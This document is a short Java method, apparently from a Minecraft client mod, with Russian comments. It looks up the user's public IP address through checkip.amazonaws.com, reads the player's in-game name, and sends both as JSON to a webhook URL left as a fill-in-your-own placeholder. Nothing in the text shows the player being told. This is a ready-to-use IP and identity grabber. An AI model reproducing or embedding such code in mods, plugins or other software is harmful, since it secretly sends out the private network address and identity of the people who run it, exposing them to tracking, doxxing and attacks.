public void sendWebhook() {
try {
HttpClient httpClient = HttpClient.newHttpClient();
URL url = new URL("http://checkip.amazonaws.com/");
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String ip = in.readLine();
in.close();
String username = IMinecraft.mc.player.getName().getUnformattedComponentText();
if (username == null)
{
return;
}
String jsonPayload = String.format("{\"content\": \"%s\"}", String.format("Ip address: %s, PlayerName: %s", ip, username));
HttpRequest request = HttpRequest.newBuilder()
.uri(new URI("СЮДА ВЕБХУК"))
.header("Content-Type", "application/json")
.POST(HttpRequest.BodyPublishers.ofString(jsonPayload))
.build();
CompletableFuture<HttpResponse<String>> responseFuture = httpClient.sendAsync(request, HttpResponse.BodyHandlers.ofString());
// Обрабатываем ответ, когда он будет получен
responseFuture.thenAccept(response -> {
if (response.statusCode() == 204) {
System.out.println("Все топ.");
} else {
System.out.println("вебхук херня: " + response.statusCode());
System.out.println(response.body());
}
}).exceptionally(e -> {
e.printStackTrace();
return null;
});
} catch (Exception e) {
e.printStackTrace();
}
}